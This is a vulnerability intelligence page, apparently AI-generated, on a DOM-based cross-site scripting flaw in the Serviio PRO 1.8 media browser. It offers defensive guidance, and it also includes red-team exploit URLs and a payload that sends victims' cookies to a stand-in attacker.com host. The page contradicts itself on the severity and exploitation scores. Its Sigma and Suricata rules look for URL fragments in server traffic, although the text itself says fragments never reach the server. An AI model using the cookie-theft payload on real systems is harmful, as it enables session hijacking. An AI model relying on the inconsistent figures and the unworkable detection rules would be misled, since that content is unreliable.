☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Serviio logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2017-20219

CVE-2017-20219 Cross-Site Scripting in Serviio
📅 PUBLISHED: 2026-03-16 14:17 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United Kingdom License: Proprietary
VULNERABLE: 1.8
CVSS VECTOR BREAKDOWN 5.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2017-20219 is a DOM-based Cross-Site Scripting (XSS) vulnerability in Serviio PRO 1.8 DLNA Media Streaming Server. The flaw resides in the mediabrowser component, where unsanitized input from document.location is passed directly to document.write(). An attacker can craft a malicious URL containing arbitrary HTML and JavaScript code. When a user visits this URL, the code executes in the context of the user's browser, potentially leading to session hijacking, data theft, or further compromise. The vulnerability has a CVSS score of 6.1 (Medium) and no known patch is available. The EPSS score is 0.0%, indicating low exploitation likelihood, but the risk remains for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: Required (UI:R) – The victim must click a crafted link.
  • Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited modification of content.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for targeted attacks (e.g., credential theft via XSS) elevates the risk for organizations using Serviio PRO 1.8.

Deep Dive & Mechanics

The vulnerability is a classic DOM-based XSS. The mediabrowser component reads the current URL from document.location and writes it directly into the page using document.write(). No sanitization or encoding is applied. An attacker can craft a URL like:

http://target:23423/mediabrowser#<script>alert('XSS')</script>

When the victim visits this URL, the JavaScript code executes in the victim's browser. The attack is blind to the server; the malicious payload is never sent to the server, making it harder to detect via server-side logs.

Root Cause: The use of document.write() with unsanitized input from document.location.hash or document.location.href.

Attack Flow:

  1. Attacker crafts a malicious URL containing JavaScript payload.
  2. Attacker lures victim to click the link (e.g., via phishing email).
  3. Victim's browser loads the page, and the script executes.
  4. Attacker can steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Serviio PRO 1.8):

// In mediabrowser component
var url = document.location.href;
document.write(url);

Patched Code (Hypothetical):

// Sanitize input before writing
var url = document.location.href;
var safeUrl = encodeURI(url);
document.write(safeUrl);

No official patch is available. Users must apply manual mitigations.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Serviio PRO 1.8 running on a target machine.
  • A victim user with access to the Serviio web interface.

Exploit Steps:

  1. Craft a malicious URL:
    http://target:23423/mediabrowser#<script>alert(document.cookie)</script>
    
  2. Send the link to the victim via email or social engineering.
  3. When the victim clicks, the script executes, displaying their cookies.

Advanced Payload:

http://target:23423/mediabrowser#<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Detection & Defense)

Detection:

  • Monitor web server logs for unusual URL fragments (e.g., #<script>).
  • Use browser-based XSS filters (e.g., X-XSS-Protection header).
  • Deploy a Web Application Firewall (WAF) with rules to block XSS payloads in URL fragments.

Defense:

  • Disable the mediabrowser component if not needed.
  • Apply input validation and output encoding on the client side.
  • Use Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

  • URL Pattern: http://*:23423/mediabrowser#<script>
  • Network Traffic: Outbound HTTP requests to attacker-controlled domains from the victim's browser.
  • Browser Console: Errors or unexpected script execution in the context of the Serviio page.
  • Logs: Web server logs showing requests with # fragments (though fragments are not sent to server, client-side logs may capture them).

Detection Engineering

YARA Rule

rule CVE_2017_20219_XSS {
    meta:
        description = "Detects DOM-based XSS in Serviio PRO 1.8 mediabrowser"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2017-20219"
    strings:
        $xss1 = "document.write(document.location" ascii wide nocase
        $xss2 = "document.write(location" ascii wide nocase
        $xss3 = "document.write(window.location" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2017-20219 DOM XSS in Serviio PRO 1.8
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential exploitation of DOM-based XSS in Serviio PRO 1.8 mediabrowser
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: serviiopro
detection:
    selection:
        url|contains: 'mediabrowser#'
        url|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2017-20219 Serviio PRO 1.8 DOM XSS Attempt"; flow:to_server; content:"mediabrowser#"; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the mediabrowser component if not required.
  2. Apply a reverse proxy (e.g., Nginx) to filter malicious URL fragments.
  3. Implement Content Security Policy (CSP) headers to block inline scripts:
    Content-Security-Policy: script-src 'self'; object-src 'none'
    
  4. Educate users not to click suspicious links.

Long-term:

  • Upgrade to a patched version if/when available.
  • Replace Serviio PRO with an alternative DLNA server that is actively maintained.
  • Conduct a security audit of all web-facing components.

Workaround:

  • Modify the mediabrowser JavaScript file to sanitize input:
    var url = document.location.href;
    var safeUrl = url.replace(/</g, "&lt;").replace(/>/g, "&gt;");
    document.write(safeUrl);
    

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defense purposes only.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2017-20219/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.